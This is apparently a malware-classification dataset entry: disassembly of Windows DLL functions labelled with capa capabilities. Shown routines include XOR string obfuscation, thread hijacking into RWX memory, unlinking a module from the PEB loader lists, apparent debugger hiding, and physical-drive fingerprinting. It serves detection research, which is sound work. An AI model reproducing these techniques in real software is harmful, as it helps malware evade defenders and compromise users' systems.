joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1001a920
Capabilities:
Encode data using xor

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100995d0
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x50
mov eax, dword [0x100bd078]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
cmp byte [0x100c19c2], 0
je 0x1001ab15
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount64]
call esi
sub eax, dword [0x100c1ac8]
sbb edx, dword [0x100c1acc]
mov dword [ebp - 0x5c], edx
jne 0x1001a98f
cmp eax, 0xbb8
jb 0x1001ab15
call esi
movaps xmm0, xmmword [0x100b12f0]
xor ecx, ecx
mov dword [0x100c1ac8], eax
mov dword [0x100c1acc], edx
movups xmmword [ebp - 0x24], xmm0
nop dword [eax]
mov al, byte [ebp - 0x24]
xor byte [ebp + ecx - 0x23], al
inc ecx
cmp ecx, 0xe
jb 0x1001a9b0
sub esp, 0x18
mov byte [ebp - 0x15], 0
lea eax, [ebp - 0x23]
mov ecx, esp
push eax
call fcn.10002980
lea ecx, [ebp - 0x48]
call fcn.10063190
add esp, 0x18
mov dword [ebp - 4], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x30], xmm0
mov dword [ebp - 0x18], 0
movq qword [ebp - 0x20], xmm0
mov byte [ebp - 0x49], 0xa1
mov dword [ebp - 0x30], vtable.ByteBuffer.0
mov byte [ebp - 0x2c], 1
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0
push 0x1000
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 1
call fcn.1000b4b0
mov byte [ebp - 4], 2
mov edx, dword [ebp - 0x1c]
mov edi, edx
mov ecx, dword [ebp - 0x20]
sub edi, ecx
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x30], vtable.Packet.0
cmp edi, 0x989680
ja 0x1001aa7a
lea esi, [eax + 1]
cmp edi, esi
jae 0x1001aa6d
push esi
lea ecx, [ebp - 0x20]
call fcn.1000b3f0
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x24]
mov dl, byte [ebp - 0x49]
mov byte [ecx + eax], dl
inc eax
mov edx, dword [ebp - 0x1c]
mov dword [ebp - 0x24], eax
sub edx, ecx
mov byte [ebp - 4], 3
mov byte [ebp - 0x49], 0xa5
cmp edx, 0x989680
ja 0x1001aaac
lea esi, [eax + 1]
cmp edx, esi
jae 0x1001aaa2
push esi
lea ecx, [ebp - 0x20]
call fcn.1000b3f0
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x24]
mov dl, byte [ebp - 0x49]
mov byte [ecx + eax], dl
inc eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x34], 0x10
lea eax, [ebp - 0x48]
lea ecx, [ebp - 0x30]
cmovae eax, dword [ebp - 0x48]
push eax
call fcn.1001c5b0
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x20]
sub ecx, eax
mov dword [ebp - 0x50], ecx
mov dword [ebp - 0x54], eax
cmp ecx, 0x4000
ja 0x1001aaf1
mov eax, dword [0x100c1a48]
mov dword [ebp - 0x5c], eax
mov ecx, dword ds:[0x100ab8c8]
mov ecx, dword ds:[ecx]
push dword [ebp - 0x50]
push dword [ebp - 0x54]
call dword [ebp - 0x5c]
lea ecx, [ebp - 0x20]
mov dword [ebp - 0x30], vtable.ByteBuffer.0
call fcn.1000b5b0
mov eax, dword [ebp - 0x34]
cmp eax, 0x10
jb 0x1001ab15
inc eax
lea ecx, [ebp - 0x48]
push eax
push dword [ebp - 0x48]
call fcn.10002760
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.10067c75
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
Function at 0x1001ad10
Capabilities:
Get storage device properties

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10099668
mov eax, dword fs:[0]
push eax
sub esp, 0x34
mov eax, dword [0x100bd078]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x38], esi
push 0
push 0
push 3
push 0
push 3
push 0
push str..PhysicalDrive0
mov dword [ebp - 0x3c], 0
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
jne 0x1001ad7b
mov dword [esi + 0x14], 0xf
mov dword [esi + 0x10], 0
mov byte [esi], 0
jmp 0x1001aee3
xorps xmm0, xmm0
movq qword [ebp - 0x28], xmm0
mov dword [ebp - 0x28], fcn.1001af10
mov dword [ebp - 0x24], edi
push 0
lea eax, [ebp - 0x14]
mov dword [ebp - 4], 0
push eax
push 8
lea eax, [ebp - 0x30]
movq qword [ebp - 0x20], xmm0
push eax
push 0xc
lea eax, [ebp - 0x20]
mov dword [ebp - 0x18], 0
push eax
push 0x2d1400
push edi
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0
movq qword [ebp - 0x30], xmm0
mov dword [ebp - 0x14], 0
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
jne 0x1001ae01
mov dword [esi + 0x14], 0xf
mov dword [esi + 0x10], eax
cmp dword [esi + 0x14], 0x10
jb 0x1001adf0
mov eax, dword [esi]
jmp 0x1001adf2
mov eax, esi
mov byte [eax], 0
mov dword [ebp - 4], 1
jmp 0x1001aed6
mov eax, dword [ebp - 0x2c]
push eax
mov dword [ebp - 0x38], eax
call fcn.1006823e
mov ebx, eax
add esp, 4
test ebx, ebx
je 0x1001ae26
push dword [ebp - 0x38]
push 0
push ebx
call fcn.10080320
add esp, 0xc
jmp 0x1001ae28
xor ebx, ebx
mov dword [ebp - 0x34], ebx
push 0
lea eax, [ebp - 0x14]
mov byte [ebp - 4], 2
push eax
push dword [ebp - 0x38]
lea eax, [ebp - 0x20]
push ebx
push 0xc
push eax
push 0x2d1400
push edi
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
jne 0x1001ae84
mov dword [esi + 0x10], eax
mov dword [esi + 0x14], eax
mov dword [esi + 0x14], 0xf
cmp dword [esi + 0x14], 0x10
mov dword [esi + 0x10], eax
jb 0x1001ae69
mov eax, dword [esi]
jmp 0x1001ae6b
mov eax, esi
mov byte [eax], 0
test ebx, ebx
je 0x1001ae7b
push ebx
call fcn.10068239
add esp, 4
mov dword [ebp - 4], 3
jmp 0x1001aed6
mov eax, dword [ebx + 0x18]
test eax, eax
jne 0x1001aebc
mov dword [esi + 0x10], eax
mov dword [esi + 0x14], eax
mov dword [esi + 0x14], 0xf
cmp dword [esi + 0x14], 0x10
mov dword [esi + 0x10], eax
jb 0x1001aea5
mov eax, dword [esi]
jmp 0x1001aea7
mov eax, esi
push ebx
mov byte [eax], 0
call fcn.10068239
add esp, 4
mov dword [ebp - 4], 4
jmp 0x1001aed6
add eax, ebx
mov ecx, esi
push eax
call fcn.10002980
push ebx
call fcn.10068239
add esp, 4
mov dword [ebp - 4], 5
test edi, edi
je 0x1001aee3
push edi
call fcn.1001af10
add esp, 4
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10067c75
mov esp, ebp
pop ebp
ret
Function at 0x10020110
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x34
mov eax, dword [0x100bd078]
xor eax, esp
mov dword [esp + 0x30], eax
movaps xmm0, xmmword [0x100b23a0]
push esi
mov esi, ecx
mov dword [esp + 0x14], 0x75797334
movups xmmword [esp + 4], xmm0
mov byte [esp + 0x18], 0
xor ecx, ecx
mov al, byte [esp + 4]
xor byte [esp + ecx + 5], al
inc ecx
cmp ecx, 0x13
jb 0x10020142
lea eax, [esp + 5]
mov byte [esp + 0x18], 0
push eax
mov edx, 0x100c1f24
lea ecx, [esp + 0x20]
call fcn.1000db40
mov eax, dword [esi + 0x1fc]
add esp, 4
test eax, eax
je 0x1002017c
push eax
call dword [sym.imp.USER32.dll_DestroyIcon]
cmp dword [esp + 0x30], 0x10
lea eax, [esp + 0x1c]
push 0x8010
cmovae eax, dword [esp + 0x20]
push 0
push 0
push 1
push eax
push 0
call dword [sym.imp.USER32.dll_LoadImageA]
mov dword [esi + 0x1fc], eax
test eax, eax
je 0x100201bd
cmp byte [esi + 0x200], 0
mov dword [esi + 0x14], eax
je 0x100201bd
push esi
push 1
call dword [sym.imp.SHELL32.dll_Shell_NotifyIconA]
mov eax, dword [esp + 0x30]
cmp eax, 0x10
jb 0x100201d5
inc eax
lea ecx, [esp + 0x1c]
push eax
push dword [esp + 0x20]
call fcn.10002760
mov ecx, dword [esp + 0x34]
pop esi
xor ecx, esp
call fcn.10067c75
mov esp, ebp
pop ebp
ret
Function at 0x10020350
Capabilities:
Allocate or change rwx memory
Create thread
Hijack thread execution
Resume thread
Spawn thread to rwx shellcode
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2f8
mov eax, dword [0x100bd078]
xor eax, ebp
mov dword [ebp - 4], eax
mov cl, 0x45
mov dword [ebp - 0x2f8], 0x29311745
mov dword [ebp - 0x2f4], 0x21242a09
xor eax, eax
mov dword [ebp - 0x2f0], 0x2c373116
mov word [ebp - 0x2ec], 0x222b
mov byte [ebp - 0x2ea], 0
xor byte [ebp + eax - 0x2f7], cl
inc eax
cmp eax, 0xd
jae 0x100203aa
mov cl, byte [ebp - 0x2f8]
jmp 0x10020395
push ebx
mov byte [ebp - 0x2e8], 0x1a
mov al, 0x74
xor al, byte [ebp - 0x2e8]
mov bl, 0x76
mov ah, bl
mov byte [ebp - 0x2e7], al
mov al, byte [ebp - 0x2e8]
mov dl, 0x7e
mov bh, ah
mov byte [ebp - 0x2d9], ah
xor bl, al
mov byte [ebp - 0x2de], 0
xor ah, al
mov byte [ebp - 0x2ea], 0
xor bh, al
mov byte [ebp - 0x2e3], ah
mov dh, dl
mov byte [ebp - 0x2e4], bl
xor dl, al
mov byte [ebp - 0x2e0], bh
xor dh, al
mov byte [ebp - 0x2e5], dl
mov cl, 0x6e
mov byte [ebp - 0x2e1], dh
xor cl, al
mov byte [ebp - 0x2de], 0
mov ch, 0x34
mov byte [ebp - 0x2e6], cl
xor ch, al
mov al, byte [ebp - 0x2d9]
xor al, byte [ebp - 0x2e8]
mov byte [ebp - 0x2df], al
lea eax, [ebp - 0x2f7]
push esi
push eax
lea eax, [ebp - 0x2e7]
mov byte [ebp - 0x2e2], ch
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
add esi, 0x430
jne 0x10020471
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10067c75
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 8]
mov dword [ebp - 8], 0
push eax
push 0x40
push 0x1000
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x1002045f
push 0x2cc
lea eax, [ebp - 0x2d8]
push 0
push eax
call fcn.10080320
add esp, 0xc
lea eax, [ebp - 0xc]
push eax
push 0
push 0
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
test esi, esi
je 0x1002045f
push esi
call dword [sym.imp.KERNEL32.dll_SuspendThread]
cmp eax, 0xffffffff
je 0x1002045f
lea eax, [ebp - 0x2d8]
mov dword [ebp - 0x2d8], 0x10002
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x1002045f
lea eax, [ebp - 0x2d8]
mov dword [ebp - 0x228], 0x100020d0
push eax
push esi
mov dword [ebp - 0x2d8], 0x10002
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
je 0x1002045f
push esi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
xor ecx, ecx
cmp eax, 0xffffffff
cmove esi, ecx
mov ecx, dword [ebp - 4]
mov eax, esi
xor ecx, ebp
pop esi
pop ebx
call fcn.10067c75
mov esp, ebp
pop ebp
ret
Function at 0x10020540
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
mov byte [ebp - 0x10], 0x7c
mov al, 0x12
xor al, byte [ebp - 0x10]
mov bl, 0x10
mov ah, bl
mov byte [ebp - 0xf], al
mov al, byte [ebp - 0x10]
mov dl, 0x18
push esi
mov esi, ecx
mov byte [ebp - 1], ah
mov bh, ah
mov byte [ebp - 6], 0
mov dh, dl
mov byte [ebp - 6], 0
xor dl, al
xor bl, al
xor ah, al
mov byte [ebp - 0xd], dl
xor dh, al
mov byte [ebp - 0xb], ah
xor bh, al
mov byte [ebp - 0xc], bl
mov cl, 8
mov byte [ebp - 9], dh
xor cl, al
mov byte [ebp - 8], bh
mov ch, 0x52
mov byte [ebp - 0xe], cl
xor ch, al
mov al, byte [ebp - 1]
xor al, byte [ebp - 0x10]
mov byte [ebp - 7], al
lea eax, [ebp - 0xf]
push edi
push eax
mov byte [ebp - 0xa], ch
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov edx, eax
test edx, edx
jne 0x100205b8
xor al, al
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
movaps xmm0, xmmword [0x100b1f50]
xor eax, eax
movups xmmword [ebp - 0x28], xmm0
mov dword [ebp - 0x18], 0x4b516d57
mov dword [ebp - 0x14], 0x5d585c
mov cl, byte [ebp - 0x28]
xor byte [ebp + eax - 0x27], cl
inc eax
cmp eax, 0x16
jb 0x100205d3
lea eax, [ebp - 0x27]
mov byte [ebp - 0x11], 0
push eax
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
test edi, edi
je 0x100205af
test esi, esi
jne 0x10020601
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov esi, eax
push 0
push 0
push 0x11
push esi
call edi
pop edi
test eax, eax
pop esi
sete al
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10020620
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
mov dword [ebp - 4], 0
pushal
pushfd
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov dword [ebp - 4], eax
mov esi, dword [eax + 0xc]
mov edx, dword [eax + 0x10]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 0x18]
cmp ecx, dword [ebp - 8]
jne 0x1002065e
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x10020662
cmp edx, esi
jne 0x10020647
mov eax, dword [ebp - 4]
mov esi, dword [eax + 0x14]
mov edx, dword [eax + 0x18]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 0x10]
cmp ecx, dword [ebp - 8]
jne 0x10020682
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x10020686
cmp edx, esi
jne 0x1002066b
mov eax, dword [ebp - 4]
mov esi, dword [eax + 0x1c]
mov edx, dword [eax + 0x20]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 8]
cmp ecx, dword [ebp - 8]
jne 0x100206a6
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x100206aa
cmp edx, esi
jne 0x1002068f
popfd
popal
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10020760
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10099ba0
mov eax, dword fs:[0]
push eax
sub esp, 0x6c
mov eax, dword [0x100bd078]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
movaps xmm0, xmmword [str.x6_f]
xor eax, eax
movups xmmword [ebp - 0x44], xmm0
mov cl, byte [ebp - 0x44]
xor byte [ebp + eax - 0x43], cl
inc eax
cmp eax, 0xe
jb 0x10020798
mov byte [ebp - 0x28], 0x10
mov al, 0x7e
xor al, byte [ebp - 0x28]
mov bl, 0x7c
mov ah, bl
mov byte [ebp - 0x27], al
mov al, byte [ebp - 0x28]
mov dl, 0x74
mov bh, ah
mov byte [ebp - 0x15], ah
xor bl, al
mov byte [ebp - 0x1e], 0
xor ah, al
mov byte [ebp - 0x35], 0
xor bh, al
mov byte [ebp - 0x23], ah
mov dh, dl
mov byte [ebp - 0x24], bl
xor dl, al
mov byte [ebp - 0x20], bh
xor dh, al
mov byte [ebp - 0x25], dl
mov cl, 0x64
mov byte [ebp - 0x21], dh
xor cl, al
mov byte [ebp - 0x1e], 0
mov ch, 0x3e
mov byte [ebp - 0x26], cl
xor ch, al
mov al, byte [ebp - 0x15]
xor al, byte [ebp - 0x28]
mov byte [ebp - 0x1f], al
lea eax, [ebp - 0x43]
push eax
lea eax, [ebp - 0x27]
mov byte [ebp - 0x22], ch
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, 0xd78dd4
mov edi, eax
call fcn.100173f0
push eax
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov esi, eax
test esi, esi
je 0x10020910
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], 0
push eax
push esi
call edi
test eax, eax
jns 0x100208a8
movaps xmm0, xmmword [0x100b16f0]
xor ecx, ecx
movups xmmword [ebp - 0x44], xmm0
mov word [ebp - 0x34], 0x551a
mov byte [ebp - 0x32], 0
nop
mov al, byte [ebp - 0x44]
xor byte [ebp + ecx - 0x43], al
inc ecx
cmp ecx, 0x11
jb 0x10020860
lea eax, [ebp - 0x43]
mov byte [ebp - 0x32], 0
push eax
lea ecx, [ebp - 0x5c]
call fcn.10002980
lea ecx, [ebp - 0x5c]
mov dword [ebp - 4], 0
call fcn.1001ab40
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x48]
cmp eax, 0x10
jb 0x100208a8
inc eax
lea ecx, [ebp - 0x5c]
push eax
push dword [ebp - 0x5c]
call fcn.10002760
cmp dword [ebp - 0x14], 0
jbe 0x10020909
movaps xmm0, xmmword [0x100b1b40]
xor ecx, ecx
movups xmmword [ebp - 0x30], xmm0
mov dword [ebp - 0x20], 0x2a2b2a20
mov word [ebp - 0x1c], 0x6f
mov al, byte [ebp - 0x30]
xor byte [ebp + ecx - 0x2f], al
inc ecx
cmp ecx, 0x14
jb 0x100208c8
lea eax, [ebp - 0x2f]
mov byte [ebp - 0x1b], 0
push eax
lea ecx, [ebp - 0x74]
call fcn.10002980
lea ecx, [ebp - 0x74]
mov dword [ebp - 4], 1
call fcn.1001ab40
mov eax, dword [ebp - 0x60]
cmp eax, 0x10
jb 0x10020909
inc eax
lea ecx, [ebp - 0x74]
push eax
push dword [ebp - 0x74]
call fcn.10002760
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10067c75
mov esp, ebp
pop ebp
ret
Function at 0x10022280
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10099cb8
mov eax, dword fs:[0]
push eax
sub esp, 0x40
push esi
mov eax, dword [0x100bd078]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov edx, dword [ebp + 8]
mov eax, dword [esi + 8]
mov dword [0x100c1b10], eax
test edx, edx
je 0x1002236f
cmp dword [ebp + 0xc], 1
jne 0x1002236f
mov eax, dword [esi + 4]
test eax, eax
je 0x1002235b
cmp edx, eax
jne 0x1002235b
cmp byte [0x100c1a7b], 0
sete al
xor ecx, ecx
mov byte [0x100c1a7b], al
test al, al
je 0x10022316
movaps xmm0, xmmword [0x100b1740]
movups xmmword [ebp - 0x34], xmm0
mov word [ebp - 0x24], 0x12
nop
mov al, byte [ebp - 0x34]
xor byte [ebp + ecx - 0x33], al
inc ecx
cmp ecx, 0x10
jb 0x10022300
mov byte [ebp - 0x23], 0
lea eax, [ebp - 0x33]
jmp 0x10022339
movaps xmm0, xmmword [0x100b19b0]
movups xmmword [ebp - 0x20], xmm0
mov byte [ebp - 0x10], 0
mov al, byte [ebp - 0x20]
xor byte [ebp + ecx - 0x1f], al
inc ecx
cmp ecx, 0xf
jb 0x10022325
mov byte [ebp - 0x10], 0
lea eax, [ebp - 0x1f]
push eax
lea ecx, [ebp - 0x4c]
call fcn.10002980
mov dword [ebp - 4], 0
lea edx, [ebp - 0x4c]
mov ecx, dword [esi]
call fcn.100170e0
lea ecx, [ebp - 0x4c]
call fcn.10002340
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret 8
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret 8
Function at 0x100225a0
Capabilities:
Access peb ldr_data
Get ntdll base address
Get number of processors

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10099ce8
mov eax, dword fs:[0]
push eax
sub esp, 0x20
mov eax, dword [0x100bd078]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
or eax, 0xffffffff
mov byte [ebp - 0x20], 0
push dword [ebp - 0x20]
mov dword [esi + 0x38], eax
lea ecx, [ebp - 0x1c]
mov word [esi + 0x3c], ax
xorps xmm0, xmm0
lea eax, [ebp - 0x20]
movq qword [ebp - 0x1c], xmm0
push eax
lea eax, [ebp - 0x2c]
mov dword [ebp - 0x14], 0
push eax
mov dword [esi + 0x14], 0
mov dword [esi + 0x10], 0
mov dword [esi + 0xc], 0
mov dword [esi + 8], 0
mov dword [esi + 4], 0
mov dword [esi + 0x28], 0
mov dword [esi + 0x24], 0
mov dword [esi + 0x20], 0
mov dword [esi + 0x1c], 0
mov dword [esi + 0x18], 0
mov dword [esi + 0x34], 0
mov dword [esi + 0x30], 0
mov dword [esi + 0x2c], 0
mov dword [ebp - 0x2c], 0x350
mov dword [ebp - 0x28], 0x140
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0
call fcn.10021570
sub esp, 0xc
mov dword [ebp - 4], 0
lea eax, [ebp - 0x1c]
mov ecx, esp
push eax
call fcn.100215f0
mov ecx, 0xd78d54
call fcn.10017430
mov ebx, dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
add esp, 0xc
mov dword [esi], eax
push 4
push 0x4de1e6
call ebx
test eax, eax
jne 0x100226c8
mov edx, 0x10023890
mov ecx, 0x4de1e6
call fcn.1001a8a0
mov eax, dword [esi]
test eax, eax
je 0x10022734
push 4
push eax
call ebx
test eax, eax
jne 0x10022734
mov ecx, esi
call fcn.10022770
cmp dword [0x100c1b20], 0
jne 0x10022721
mov edi, dword [esi]
test edi, edi
je 0x10022709
push 4
push edi
call ebx
test eax, eax
jne 0x10022709
push 4
lea eax, [edi + 0x64]
push eax
call ebx
test eax, eax
jne 0x10022709
mov edi, dword [edi]
add edi, 0x64
jmp 0x1002270b
xor edi, edi
mov eax, dword [edi]
push 4
push eax
mov dword [0x100c1b20], eax
call ebx
test eax, eax
jne 0x10022721
mov dword [edi], 0x100238c0
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x10022750
mov ecx, dword [ebp - 0x14]
sub ecx, eax
sar ecx, 2
push ecx
push eax
jmp 0x1002274b
mov ecx, dword [ebp - 0x1c]
mov dword [esi], 0
test ecx, ecx
je 0x10022750
mov eax, dword [ebp - 0x14]
sub eax, ecx
sar eax, 2
push eax
push ecx
call fcn.1000cee0
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10067c75
mov esp, ebp
pop ebp
ret
Function at 0x10026f40
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10099bd8
mov eax, dword fs:[0]
push eax
sub esp, 0x1c
mov eax, dword [0x100bd078]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov byte [ebp - 0x20], 0
lea eax, [ebp - 0x20]
push dword [ebp - 0x20]
xorps xmm0, xmm0
mov dword [ebp - 0x14], 0
push eax
lea eax, [ebp - 0x28]
movq qword [ebp - 0x1c], xmm0
push eax
lea ecx, [ebp - 0x1c]
mov dword [ebp - 0x28], 0x1ec
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0
call fcn.10021570
sub esp, 0xc
mov dword [ebp - 4], 0
lea eax, [ebp - 0x1c]
mov ecx, esp
push eax
call fcn.100215f0
mov ecx, 0xd78d54
call fcn.10017430
mov dword [esi], eax
add esp, 0xc
mov dword [esi + 0x24], 0
mov dword [esi + 4], 0
mov dword [esi + 0x28], 0
push 4
push eax
mov dword [esi + 8], 0
mov dword [esi + 0x2c], 0
mov dword [esi + 0xc], 0
mov dword [esi + 0x30], 0
mov dword [esi + 0x10], 0
mov dword [esi + 0x34], 0
mov dword [esi + 0x14], 0
mov dword [esi + 0x38], 0
mov dword [esi + 0x18], 0
mov dword [esi + 0x3c], 0
mov dword [esi + 0x1c], 0
mov dword [esi + 0x40], 0
mov dword [esi + 0x20], 0
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
je 0x10027072
mov eax, dword [ebp - 0x1c]
mov dword [esi], 0
test eax, eax
je 0x100270f4
mov ecx, dword [ebp - 0x14]
sub ecx, eax
sar ecx, 2
push ecx
push eax
jmp 0x100270ef
mov ecx, esi
call fcn.10027110
call fcn.100668c0
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call fcn.10066d90
push 0x10027380
push 0x100c1b6c
call fcn.100665d0
call fcn.10066920
push 4
push 0x62ed60
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
jne 0x100270de
mov dword [0x100c1b6c], 0x62ed60
call fcn.100668c0
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call fcn.10066d90
push 0x10027380
push 0x100c1b6c
call fcn.10066140
call fcn.10066920
mov ecx, dword [ebp - 0x1c]
test ecx, ecx
je 0x100270f4
mov eax, dword [ebp - 0x14]
sub eax, ecx
sar eax, 2
push eax
push ecx
call fcn.1000cee0
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10067c75
mov esp, ebp
pop ebp
ret